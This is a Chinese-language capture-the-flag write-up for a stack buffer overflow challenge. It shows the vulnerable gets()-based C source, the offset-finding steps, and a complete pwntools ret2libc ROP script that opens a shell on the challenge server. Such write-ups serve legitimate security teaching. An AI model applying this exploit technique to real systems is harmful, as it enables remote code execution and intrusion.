原始碼
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc chal.c -o chal -fno-stack-protector -no-pie
void init_IOBUF(){
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
}
int main(){
init_IOBUF();
char buffer[0x30];
printf("GIFT: %p \n>", &printf);
gets(buffer);
return 0;
}
解題
解題思路
這題檔案是動態連結,可以算一下offset,調用libc.so.6的內容取得shell
確認保護機制
checksec --file=chal

尋找需要的資訊
尋找printf在libc.so.6位置
readelf --wide -s libc.so.6 |grep printf

2611: 0000000000060100 204 FUNC GLOBAL DEFAULT 17 printf@@GLIBC_2.2.5
尋找pop rdi在libc.so.6位置
ROPgadget --binary libc.so.6 --only "pop|ret"|grep rdi

0x000000000010f78b : pop rdi ; ret
尋找ret在libc.so.6位置
ROPgadget --binary libc.so.6 --only "ret"

0x000000000002882f : ret
計算overflow大小
0xdf58-0xdf20=0x38

編寫payload
計算offset
addr=r.recvline().decode().split(": ")[1].strip()
addr = int(addr, 16)
offset=addr-0x60100
編寫payload
pop_rdi=0x10f78b+offset
ret=0x2882f+offset
l = ELF('./libc.so.6')
p=flat(
b'a'*0x38,
ret,
pop_rdi,
next(l.search(b'/bin/sh\0')),
l.sym.system
)
實際payload
from pwn import *
context.arch = 'amd64'
l = ELF('./libc.so.6')
host='66.235.110.67'
port=20004
r=remote(host,port)
addr=r.recvline().decode().split(": ")[1].strip()
addr = int(addr, 16)
offset=addr-0x060100
l.address=offset
ret=0x2882f+offset
'''libc.so.6
0x000000000010f78b : pop rdi ; ret
'''
pop_rdi = offset + 0x10f78b
p=flat(
b'a'*0x38,
ret,
pop_rdi,
next(l.search(b'/bin/sh\0')),
l.sym.system,
)
r.sendline(p)
r.interactive()
flag



說些什麼吧!